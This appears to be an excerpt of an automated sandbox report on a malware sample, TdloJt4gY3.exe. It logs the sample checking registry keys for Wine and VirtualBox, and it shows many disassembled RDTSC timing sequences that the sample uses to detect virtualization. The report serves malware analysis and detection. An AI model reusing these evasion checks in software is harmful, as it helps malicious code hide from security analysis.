Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 4E936B second address: 4E9386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 4E9386 second address: 4E93AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F48D851E9B6h 0x00000009 jo 00007F48D851E9B6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 jmp 00007F48D851E9BDh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 4E93AB second address: 4E93AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 664905 second address: 664909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 656F9F second address: 656FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F48D88430B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 663B85 second address: 663BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C5h 0x00000007 jne 00007F48D851E9B8h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 js 00007F48D851E9C2h 0x00000018 jnp 00007F48D851E9B6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 663E74 second address: 663E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F48D88430B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 663E83 second address: 663E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 663E89 second address: 663E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 667F25 second address: 667F2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 667FB9 second address: 667FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430BAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 667FCC second address: 667FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 667FD0 second address: 667FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F48D88430BEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 667FF2 second address: 667FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 667FF8 second address: 668023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edx 0x00000009 jp 00007F48D88430C7h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 668023 second address: 66802D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F48D851E9B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6681AF second address: 6681BD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6681BD second address: 6681DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jbe 00007F48D851E9C8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6681DF second address: 6681E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6681E3 second address: 6681FA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F48D851E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6681FA second address: 6681FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6681FE second address: 668262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edi 0x0000000a push ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edi 0x00000014 jnc 00007F48D851E9C9h 0x0000001a pop edi 0x0000001b pop eax 0x0000001c jmp 00007F48D851E9BFh 0x00000021 push 00000003h 0x00000023 jmp 00007F48D851E9BBh 0x00000028 push 00000000h 0x0000002a cld 0x0000002b push 00000003h 0x0000002d add dx, 0430h 0x00000032 call 00007F48D851E9B9h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 668262 second address: 66826C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 66826C second address: 668280 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 668280 second address: 668284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 668284 second address: 66829B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jbe 00007F48D851E9B6h 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 66829B second address: 6682CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ebx 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jl 00007F48D88430C2h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jc 00007F48D88430BCh 0x0000001e jg 00007F48D88430B6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 686114 second address: 686118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 686118 second address: 686151 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F48D88430CDh 0x00000008 push ebx 0x00000009 jmp 00007F48D88430C7h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 686748 second address: 68674D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 68674D second address: 686753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6869A5 second address: 6869A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6869A9 second address: 6869BD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F48D88430B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6869BD second address: 6869C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 67B2A1 second address: 67B2BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F48D88430BCh 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F48D88430BCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 67B2BE second address: 67B2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 687A73 second address: 687A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 687A7B second address: 687A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 687A88 second address: 687A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F48D88430BFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 68B152 second address: 68B166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 68B166 second address: 68B180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 68B896 second address: 68B8A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 650378 second address: 650383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F48D88430B6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 65F544 second address: 65F572 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F48D851E9C3h 0x0000000b jmp 00007F48D851E9BBh 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F48D851E9B6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6958DF second address: 69590C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F48D88430C8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695BE6 second address: 695BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695BEA second address: 695C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695C00 second address: 695C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push esi 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695C0D second address: 695C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F48D88430B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695D81 second address: 695D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F48D851E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 695D90 second address: 695DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 696088 second address: 6960B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 popad 0x0000000a jl 00007F48D851E9DDh 0x00000010 jnp 00007F48D851E9BAh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007F48D851E9BFh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69932C second address: 699330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 699330 second address: 69933F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F48D851E9B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 699993 second address: 699999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 699B62 second address: 699B6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 699FE7 second address: 699FEC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A0C9 second address: 69A0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A0CD second address: 69A115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F48D88430C4h 0x00000008 jmp 00007F48D88430C1h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebx 0x00000011 call 00007F48D88430BAh 0x00000016 pop edi 0x00000017 mov dword ptr [ebp+124708C5h], esi 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F48D88430B8h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A2AC second address: 69A2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A583 second address: 69A589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A63B second address: 69A63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A63F second address: 69A65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A71F second address: 69A723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A723 second address: 69A798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jc 00007F48D88430B6h 0x00000013 jmp 00007F48D88430C0h 0x00000018 popad 0x00000019 pop edx 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F48D88430B8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D34D2h], eax 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d jmp 00007F48D88430C0h 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69A798 second address: 69A79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 65A4AC second address: 65A4D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F48D88430C0h 0x0000000b pop edi 0x0000000c jl 00007F48D88430D2h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F48D88430B6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69D4DB second address: 69D4E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69E8C8 second address: 69E8CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69F4A5 second address: 69F4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F48D851E9BEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A094D second address: 6A0951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A0951 second address: 6A0969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A0969 second address: 6A09EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F48D88430C3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push ecx 0x00000011 mov edi, dword ptr [ebp+122D21ADh] 0x00000017 pop esi 0x00000018 jmp 00007F48D88430C8h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F48D88430B8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov edi, dword ptr [ebp+122D37D9h] 0x0000003f push 00000000h 0x00000041 mov esi, 17FE8D17h 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F48D88430C6h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A09EF second address: 6A09FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F48D851E9B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A13F1 second address: 6A141D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F48D88430BCh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A141D second address: 6A1422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A1422 second address: 6A1427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A1427 second address: 6A1458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F48D851E9B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D29F3h], ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 mov si, D1DEh 0x0000001c push eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F48D851E9C1h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A1458 second address: 6A145C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A3187 second address: 6A3191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6A41AF second address: 6A422D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F48D88430B8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 adc edi, 4DF186B2h 0x0000002a sub dword ptr [ebp+122D26E5h], ebx 0x00000030 push 00000000h 0x00000032 sub ebx, 6B9DD796h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F48D88430B8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 push eax 0x00000055 pushad 0x00000056 push ebx 0x00000057 jnc 00007F48D88430B6h 0x0000005d pop ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
